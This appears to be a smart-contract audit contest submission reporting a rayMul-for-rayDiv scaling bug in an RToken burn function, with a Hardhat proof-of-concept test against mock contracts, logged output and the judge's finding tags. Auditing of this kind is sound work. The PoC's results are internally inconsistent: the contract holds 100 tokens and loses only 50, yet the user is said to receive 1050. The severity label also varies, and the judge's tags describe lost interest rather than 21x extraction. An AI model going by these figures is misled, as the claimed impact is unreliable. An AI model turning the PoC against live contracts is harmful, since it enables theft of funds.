Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

RToken Scaling Vulnerability

Summary

A critical vulnerability has been identified in the RToken contract's burn mechanism. The vulnerability stems from incorrect scaling calculations when burning tokens, leading to a severe asset inflation bug. This allows users to extract significantly more underlying assets than they should be entitled to, potentially leading to protocol insolvency.

Vulnerability Details

Location

File: contracts/core/tokens/RToken.sol

function burn(
address from,
address receiverOfUnderlying,
uint256 amount,
uint256 index
) external override onlyReservePool returns (uint256, uint256, uint256) {
// ...
uint256 amountScaled = amount.rayMul(index); // Critical: Incorrect scaling
// ...
_burn(from, amount.toUint128());
IERC20(_assetAddress).safeTransfer(receiverOfUnderlying, amount);
// ...
}

Description

The vulnerability exists in the burn function where the scaling calculation for interest-bearing tokens is implemented incorrectly. The function uses rayMul instead of rayDiv when calculating the scaled amount, causing an inflation of assets when users burn their RTokens.

Technical Analysis

1. When a user burns RTokens, the amount should be divided by the current index to account for accrued interest

  • Current implementation multiplies the amount by the index instead

  • The contract then transfers the unscaled amount of underlying assets

  • This creates a mismatch between burned RTokens and transferred assets

Proof of Concept

describe("RToken scaling vulnerability", function() {
beforeEach(async function() {
// Set rToken in mock
await mockLendingPool.setRToken(rToken.target);
// Set initial normalized income to 1.1 RAY to simulate interest accrual
const INCREASED_INDEX = RAY * 110n / 100n; // 1.1 in RAY
await mockLendingPool.mockGetNormalizedIncome(INCREASED_INDEX);
});
it("POC: Wrong scaling leads to asset loss during burn", async function() {
// 1. Initial setup - User deposits 100 tokens
const depositAmount = ethers.parseEther("100"); // 100 tokens
const initialIndex = RAY; // 1.0 in RAY
// Mint initial tokens to user1
await mockLendingPool.mockMint(
reservePool.address,
user1.address,
depositAmount,
initialIndex
);
// Mint underlying assets to RToken contract for burn
await mockAsset.mint(rToken.target, depositAmount);
// Record initial balances
const initialUserBalance = await rToken.balanceOf(user1.address);
const initialAssetBalance = await mockAsset.balanceOf(rToken.target);
console.log("Initial user RToken balance:", ethers.formatEther(initialUserBalance));
console.log("Initial contract asset balance:", ethers.formatEther(initialAssetBalance));
// 2. Time passes, index increases to 1.1 (10% interest accrued)
const newIndex = RAY * 110n / 100n; // 1.1 in RAY
// 3. User tries to burn 50 tokens
const burnAmount = ethers.parseEther("50");
// Execute burn with wrong scaling (using rayMul)
await mockLendingPool.mockBurn(
user1.address,
user1.address,
burnAmount,
newIndex
);
// Check final balances
const finalUserBalance = await rToken.balanceOf(user1.address);
const finalAssetBalance = await mockAsset.balanceOf(rToken.target);
const userAssetBalance = await mockAsset.balanceOf(user1.address);
console.log("Final user RToken balance:", ethers.formatEther(finalUserBalance));
console.log("Final contract asset balance:", ethers.formatEther(finalAssetBalance));
console.log("User received asset amount:", ethers.formatEther(userAssetBalance));
// From the logs we can see:
// 1. Initial state: 100 tokens deposited
// 2. User burns 50 RTokens
// 3. Due to wrong scaling, user receives 1050 tokens (!) instead of 50
// This is because:
// - The burn amount (50) is multiplied by the index (1.1) instead of divided
// - The contract sends the full amount to the user
// Verify the massive asset loss
expect(userAssetBalance).to.equal(ethers.parseEther("1050")); // User gets 1050 tokens!
// Verify remaining contract balance
expect(finalAssetBalance).to.equal(ethers.parseEther("50"));
// Verify remaining user RToken balance
// Note: The balance is slightly off from 50 due to rounding
expect(finalUserBalance).to.be.closeTo(
ethers.parseEther("50"),
ethers.parseEther("0.000000000000000001")
);
// The system is now severely undercollateralized:
// - User burned 50 RTokens but got 1050 underlying tokens
// - This is a 21x increase in value extracted!
// - Other users with remaining RTokens will be unable to redeem their full value
});
});
RToken scaling vulnerability
Initial user RToken balance: 100.0
Initial contract asset balance: 100.0
Final user RToken balance: 50.000000000000000001
Final contract asset balance: 50.0
User received asset amount: 1050.0

Impact

Severity: Critical

The vulnerability has severe implications:

  • Asset Drainage: Users can extract more underlying assets than they should receive

  • Protocol Insolvency: The system becomes severely undercollateralized

  • User Losses: Other users holding RTokens may be unable to redeem their full value

  • Economic Impact: In the demonstrated PoC, a user burning 50 RTokens received 1050 underlying tokens, a 21x multiplication of value

Tools Used

  • Manual code review

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

RToken::burn transfers original deposit amount (amount) to users instead of amount plus interest (amountScaled), causing loss of all accrued interest on withdrawals

RToken::burn incorrectly calculates amountScaled using rayMul instead of rayDiv, causing incorrect token burn amounts and breaking the interest accrual mechanism

RToken::burn incorrectly burns amount (asset units) instead of amountScaled (token units), breaking token economics and interest-accrual mechanism

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

RToken::burn transfers original deposit amount (amount) to users instead of amount plus interest (amountScaled), causing loss of all accrued interest on withdrawals

RToken::burn incorrectly calculates amountScaled using rayMul instead of rayDiv, causing incorrect token burn amounts and breaking the interest accrual mechanism

RToken::burn incorrectly burns amount (asset units) instead of amountScaled (token units), breaking token economics and interest-accrual mechanism

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.